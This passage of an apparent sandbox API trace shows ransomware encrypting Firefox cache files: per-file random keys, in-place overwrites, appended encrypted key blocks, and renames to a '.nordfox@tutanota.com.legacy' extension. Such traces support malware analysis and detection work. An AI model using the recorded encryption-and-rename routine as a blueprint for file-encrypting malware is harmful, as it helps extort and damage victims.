Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dac40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dac40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.207] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dac40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dac40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.207] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.207] CloseHandle (hObject=0x1b80) returned 1 [0191.207] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f803861a862ced3b233d955bae181a1838202b7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f803861a862ced3b233d955bae181a1838202b7.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da2f8 | out: pbBuffer=0x30da2f8) returned 1 [0191.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0191.209] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4", dwFileAttributes=0x80) returned 1 [0191.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30daa30 [0191.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.210] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f08d45573a263cc6499da6b1ef16b6ddfbc49c4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.210] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6102) returned 1 [0191.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17d6) returned 0x30db048 [0191.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17d6) returned 0x30dc828 [0191.210] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x17d6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x17d6, lpOverlapped=0x0) returned 1 [0191.215] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.215] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc828*, nNumberOfBytesToWrite=0x17d6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc828*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17d6, lpOverlapped=0x0) returned 1 [0191.215] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17d6 [0191.215] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.215] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da2f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da2f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.215] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da2f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da2f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.215] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.216] CloseHandle (hObject=0x1b80) returned 1 [0191.216] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f08d45573a263cc6499da6b1ef16b6ddfbc49c4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F08D45573A263CC6499DA6B1EF16B6DDFBC49C4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f08d45573a263cc6499da6b1ef16b6ddfbc49c4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9170 | out: pbBuffer=0x30d9170) returned 1 [0191.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.218] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6", dwFileAttributes=0x80) returned 1 [0191.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d99b0 [0191.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.218] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ef13d470da3bec4b9cfdbe3175fe6120b7437c6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.218] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4451) returned 1 [0191.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1163) returned 0x30f5890 [0191.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1163) returned 0x30db048 [0191.219] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1163, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1163, lpOverlapped=0x0) returned 1 [0191.229] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4451, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.229] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x1163, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1163, lpOverlapped=0x0) returned 1 [0191.230] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1163 [0191.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9170*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9170*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.230] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9170*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9170*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.230] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.230] CloseHandle (hObject=0x1b80) returned 1 [0191.230] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ef13d470da3bec4b9cfdbe3175fe6120b7437c6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EF13D470DA3BEC4B9CFDBE3175FE6120B7437C6.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ef13d470da3bec4b9cfdbe3175fe6120b7437c6.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da2f8 | out: pbBuffer=0x30da2f8) returned 1 [0191.232] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0191.232] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623", dwFileAttributes=0x80) returned 1 [0191.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da400 [0191.232] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.232] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eef955b1888dd216711a407c2ca7c4f0aefd623"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.268] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21443) returned 1 [0191.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x53c3) returned 0x30db048 [0191.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x53c3) returned 0x30e0418 [0191.269] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x53c3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x53c3, lpOverlapped=0x0) returned 1 [0191.278] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-21443, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.278] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0418*, nNumberOfBytesToWrite=0x53c3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x53c3, lpOverlapped=0x0) returned 1 [0191.278] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x53c3 [0191.278] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.278] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da2f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da2f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.278] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da2f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da2f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.278] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.279] CloseHandle (hObject=0x1b80) returned 1 [0191.279] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eef955b1888dd216711a407c2ca7c4f0aefd623"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EEF955B1888DD216711A407C2CA7C4F0AEFD623.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eef955b1888dd216711a407c2ca7c4f0aefd623.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.281] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30da928 | out: pbBuffer=0x30da928) returned 1 [0191.281] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.281] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45", dwFileAttributes=0x80) returned 1 [0191.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9bc0 [0191.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.282] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eaff2699fcee0edfef4ff824c07727f657b0d45"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.282] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2143) returned 1 [0191.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x85f) returned 0x30f5890 [0191.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x85f) returned 0x30f60f8 [0191.282] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x85f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x85f, lpOverlapped=0x0) returned 1 [0191.293] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2143, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.293] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f60f8*, nNumberOfBytesToWrite=0x85f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f60f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x85f, lpOverlapped=0x0) returned 1 [0191.293] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x85f [0191.293] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.293] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30da928*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30da928*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.293] WriteFile (in: hFile=0x1b80, lpBuffer=0x30da928*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da928*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.293] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.294] CloseHandle (hObject=0x1b80) returned 1 [0191.294] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eaff2699fcee0edfef4ff824c07727f657b0d45"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2EAFF2699FCEE0EDFEF4FF824C07727F657B0D45.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2eaff2699fcee0edfef4ff824c07727f657b0d45.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9698 | out: pbBuffer=0x30d9698) returned 1 [0191.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.295] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5", dwFileAttributes=0x80) returned 1 [0191.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da2f8 [0191.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.296] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2e08cdaee955a40889ac5877be194c7ef12394a5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.296] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6036) returned 1 [0191.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1794) returned 0x30db048 [0191.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1794) returned 0x30dc7e8 [0191.296] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x1794, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x1794, lpOverlapped=0x0) returned 1 [0191.298] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6036, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.298] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc7e8*, nNumberOfBytesToWrite=0x1794, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc7e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1794, lpOverlapped=0x0) returned 1 [0191.298] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1794 [0191.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9698*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9698*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.298] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9698*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9698*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.298] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.298] CloseHandle (hObject=0x1b80) returned 1 [0191.298] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2e08cdaee955a40889ac5877be194c7ef12394a5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2e08cdaee955a40889ac5877be194c7ef12394a5.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9ab8 | out: pbBuffer=0x30d9ab8) returned 1 [0191.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0191.300] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE", dwFileAttributes=0x80) returned 1 [0191.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9cc8 [0191.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.301] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2d7db1f2a5bbde7db3035cea82134d2cf20d58ae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.301] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3582) returned 1 [0191.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfe) returned 0x30f5890 [0191.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdfe) returned 0x30db048 [0191.301] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0191.310] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.310] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdfe, lpOverlapped=0x0) returned 1 [0191.310] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdfe [0191.310] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.310] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9ab8*, 